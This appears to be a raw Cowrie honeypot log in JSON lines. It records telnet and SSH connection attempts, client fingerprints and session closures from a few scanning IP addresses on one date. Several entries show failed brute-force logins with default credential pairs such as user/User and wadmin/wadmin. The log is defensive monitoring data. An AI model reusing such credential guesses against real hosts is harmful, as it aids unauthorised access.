{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56404,"dst_ip":"10.17.0.5","dst_port":23,"session":"9807801445d5","protocol":"telnet","message":"New connection: 23.111.140.22:56404 (10.17.0.5:23) [session: 9807801445d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:27.932554Z"}
{"eventid":"cowrie.session.closed","duration":30.234824419021606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:29.187263Z","src_ip":"23.111.140.22","session":"ae7478b38403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.852607011795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:30.373614Z","src_ip":"23.111.140.22","session":"b4afa1ed55e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":41108,"dst_ip":"10.17.0.5","dst_port":22,"session":"00345ff5a9f7","protocol":"ssh","message":"New connection: 202.145.0.61:41108 (10.17.0.5:22) [session: 00345ff5a9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:31.350357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:31.355870Z","src_ip":"202.145.0.61","session":"00345ff5a9f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50438,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d0eb78685e","protocol":"telnet","message":"New connection: 23.111.140.22:50438 (10.17.0.5:23) [session: 96d0eb78685e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:31.395818Z"}
{"eventid":"cowrie.session.closed","duration":33.09633708000183,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:31.547209Z","src_ip":"23.111.140.22","session":"26281bf3d75c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:31.588410Z","src_ip":"202.145.0.61","session":"00345ff5a9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.69337439537048,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:31.995846Z","src_ip":"23.111.140.22","session":"b3b224f3ef13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40476,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdb789802b7c","protocol":"telnet","message":"New connection: 23.111.140.22:40476 (10.17.0.5:23) [session: bdb789802b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:32.493146Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"User","message":"login attempt [user/User] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:32.543652Z","src_ip":"202.145.0.61","session":"00345ff5a9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.353548526763916,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:32.917562Z","src_ip":"23.111.140.22","session":"28cf13e923f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.084113121032715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:33.225489Z","src_ip":"23.111.140.22","session":"06929f1b6e66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:33.777823Z","src_ip":"202.145.0.61","session":"00345ff5a9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.02936053276062,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:35.907747Z","src_ip":"174.138.46.234","session":"f987fa333955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52344,"dst_ip":"10.17.0.5","dst_port":23,"session":"db41423ff830","protocol":"telnet","message":"New connection: 23.111.140.22:52344 (10.17.0.5:23) [session: db41423ff830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:37.627678Z"}
{"eventid":"cowrie.session.closed","duration":31.098233938217163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:38.748272Z","src_ip":"23.111.140.22","session":"ab2c211865e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.891743659973145,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:38.802086Z","src_ip":"174.138.46.234","session":"dcf71978c014","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27008080482483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:38.814288Z","src_ip":"23.111.140.22","session":"54a5286b03fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34914,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7bcc00bf6df","protocol":"telnet","message":"New connection: 23.111.140.22:34914 (10.17.0.5:23) [session: a7bcc00bf6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:40.600888Z"}
{"eventid":"cowrie.session.closed","duration":30.914989233016968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:42.158449Z","src_ip":"23.111.140.22","session":"6869dd120501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.91480875015259,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:42.477181Z","src_ip":"174.138.46.234","session":"172f0080b13a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":50994,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c0c89facd85","protocol":"ssh","message":"New connection: 135.235.138.43:50994 (10.17.0.5:22) [session: 6c0c89facd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:42.606641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:42.612254Z","src_ip":"135.235.138.43","session":"6c0c89facd85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:42.799967Z","src_ip":"135.235.138.43","session":"6c0c89facd85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.598971366882324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:43.132358Z","src_ip":"23.111.140.22","session":"d1092bfbf40a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.461652994155884,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:43.225721Z","src_ip":"23.111.140.22","session":"9af2fd0e393c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"wadmin","password":"wadmin","message":"login attempt [wadmin/wadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:43.578922Z","src_ip":"135.235.138.43","session":"6c0c89facd85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44784,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8e47f9a99c8","protocol":"telnet","message":"New connection: 23.111.140.22:44784 (10.17.0.5:23) [session: a8e47f9a99c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:44.289595Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:44.770433Z","src_ip":"135.235.138.43","session":"6c0c89facd85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45706,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d69cacfa8df","protocol":"telnet","message":"New connection: 23.111.140.22:45706 (10.17.0.5:23) [session: 3d69cacfa8df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:45.679146Z"}
{"eventid":"cowrie.session.closed","duration":30.514641523361206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:47.369943Z","src_ip":"23.111.140.22","session":"62dcd8a7994e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51324,"dst_ip":"10.17.0.5","dst_port":23,"session":"059e6f2c91a2","protocol":"telnet","message":"New connection: 23.111.140.22:51324 (10.17.0.5:23) [session: 059e6f2c91a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:47.738975Z"}
{"eventid":"cowrie.session.closed","duration":30.197822093963623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:50.043995Z","src_ip":"23.111.140.22","session":"713ab3a2d0cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53072,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd42d3116f6b","protocol":"telnet","message":"New connection: 23.111.140.22:53072 (10.17.0.5:23) [session: bd42d3116f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:50.402613Z"}
{"eventid":"cowrie.session.closed","duration":30.98788070678711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:50.903795Z","src_ip":"23.111.140.22","session":"a29aba5d2888","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.38666796684265,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:52.718995Z","src_ip":"23.111.140.22","session":"eae86e52b8e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38760,"dst_ip":"10.17.0.5","dst_port":23,"session":"f639c7c95bff","protocol":"telnet","message":"New connection: 23.111.140.22:38760 (10.17.0.5:23) [session: f639c7c95bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:53.570799Z"}
{"eventid":"cowrie.session.closed","duration":37.114826679229736,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:53.676028Z","src_ip":"23.111.140.22","session":"42a4ca1d0aa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41470,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f8318ba5e86","protocol":"telnet","message":"New connection: 23.111.140.22:41470 (10.17.0.5:23) [session: 2f8318ba5e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:54.651335Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46652,"dst_ip":"10.17.0.5","dst_port":23,"session":"27b7c8bbc6fe","protocol":"telnet","message":"New connection: 23.111.140.22:46652 (10.17.0.5:23) [session: 27b7c8bbc6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:55.577054Z"}
{"eventid":"cowrie.session.closed","duration":31.420902013778687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:56.421529Z","src_ip":"23.111.140.22","session":"583654374939","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.914073944091797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:57.887947Z","src_ip":"23.111.140.22","session":"5051b52d4d65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54796,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa591f0d43a6","protocol":"telnet","message":"New connection: 23.111.140.22:54796 (10.17.0.5:23) [session: aa591f0d43a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:58.206349Z"}
{"eventid":"cowrie.session.closed","duration":32.00824737548828,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:58.426161Z","src_ip":"23.111.140.22","session":"da779730012c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.248528242111206,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:58.521578Z","src_ip":"23.111.140.22","session":"feb74fc074a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231309413909912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:58.660969Z","src_ip":"23.111.140.22","session":"723a6533dabc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82355308532715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:58.755985Z","src_ip":"23.111.140.22","session":"9807801445d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60714,"dst_ip":"10.17.0.5","dst_port":23,"session":"5763c7a02553","protocol":"telnet","message":"New connection: 23.111.140.22:60714 (10.17.0.5:23) [session: 5763c7a02553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:00.173866Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60530,"dst_ip":"10.17.0.5","dst_port":23,"session":"216c7acff3e9","protocol":"telnet","message":"New connection: 23.111.140.22:60530 (10.17.0.5:23) [session: 216c7acff3e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:01.096560Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35788,"dst_ip":"10.17.0.5","dst_port":23,"session":"16f773309fef","protocol":"telnet","message":"New connection: 23.111.140.22:35788 (10.17.0.5:23) [session: 16f773309fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:01.326325Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53004,"dst_ip":"10.17.0.5","dst_port":23,"session":"28b38b36f6e8","protocol":"telnet","message":"New connection: 23.111.140.22:53004 (10.17.0.5:23) [session: 28b38b36f6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:01.347517Z"}
{"eventid":"cowrie.session.closed","duration":0.04949617385864258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:01.396848Z","src_ip":"23.111.140.22","session":"28b38b36f6e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45525860786438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:02.850948Z","src_ip":"23.111.140.22","session":"96d0eb78685e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.78931188583374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:04.282371Z","src_ip":"23.111.140.22","session":"bdb789802b7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48592,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c9ad678c5ce","protocol":"telnet","message":"New connection: 23.111.140.22:48592 (10.17.0.5:23) [session: 5c9ad678c5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:06.859063Z"}
{"eventid":"cowrie.session.closed","duration":30.791245698928833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:08.418599Z","src_ip":"23.111.140.22","session":"db41423ff830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59152,"dst_ip":"10.17.0.5","dst_port":23,"session":"b78a3a6ea50e","protocol":"telnet","message":"New connection: 23.111.140.22:59152 (10.17.0.5:23) [session: b78a3a6ea50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:10.556992Z"}
{"eventid":"cowrie.session.closed","duration":33.280916929244995,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:13.881673Z","src_ip":"23.111.140.22","session":"a7bcc00bf6df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44820,"dst_ip":"10.17.0.5","dst_port":23,"session":"f078b059f482","protocol":"telnet","message":"New connection: 23.111.140.22:44820 (10.17.0.5:23) [session: f078b059f482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:15.627892Z"}
{"eventid":"cowrie.session.closed","duration":31.535544633865356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:15.824999Z","src_ip":"23.111.140.22","session":"a8e47f9a99c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49804,"dst_ip":"10.17.0.5","dst_port":23,"session":"c459b559a713","protocol":"telnet","message":"New connection: 23.111.140.22:49804 (10.17.0.5:23) [session: c459b559a713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:16.385742Z"}
{"eventid":"cowrie.session.closed","duration":32.25872778892517,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:17.937734Z","src_ip":"23.111.140.22","session":"3d69cacfa8df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57772,"dst_ip":"10.17.0.5","dst_port":23,"session":"7280d90d6151","protocol":"telnet","message":"New connection: 23.111.140.22:57772 (10.17.0.5:23) [session: 7280d90d6151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:19.040702Z"}
{"eventid":"cowrie.session.closed","duration":31.790828704833984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:19.529703Z","src_ip":"23.111.140.22","session":"059e6f2c91a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59076,"dst_ip":"10.17.0.5","dst_port":23,"session":"34250525eb03","protocol":"telnet","message":"New connection: 23.111.140.22:59076 (10.17.0.5:23) [session: 34250525eb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:20.546171Z"}
{"eventid":"cowrie.session.closed","duration":30.679136276245117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:21.081623Z","src_ip":"23.111.140.22","session":"bd42d3116f6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.609399557113647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:24.180092Z","src_ip":"23.111.140.22","session":"f639c7c95bff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45198,"dst_ip":"10.17.0.5","dst_port":23,"session":"6216fd8fdaa4","protocol":"telnet","message":"New connection: 23.111.140.22:45198 (10.17.0.5:23) [session: 6216fd8fdaa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:24.351619Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46360,"dst_ip":"10.17.0.5","dst_port":23,"session":"629f71275de3","protocol":"telnet","message":"New connection: 23.111.140.22:46360 (10.17.0.5:23) [session: 629f71275de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:24.727193Z"}
{"eventid":"cowrie.session.closed","duration":31.13199734687805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:25.783219Z","src_ip":"23.111.140.22","session":"2f8318ba5e86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.39.69.227","src_port":53596,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d3150347742","protocol":"telnet","message":"New connection: 187.39.69.227:53596 (159.203.135.109:23) [session: 3d3150347742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:26.350003Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.39.69.227","src_port":53600,"dst_ip":"159.203.135.109","dst_port":23,"session":"91016a95ef4a","protocol":"telnet","message":"New connection: 187.39.69.227:53600 (159.203.135.109:23) [session: 91016a95ef4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:26.354192Z"}
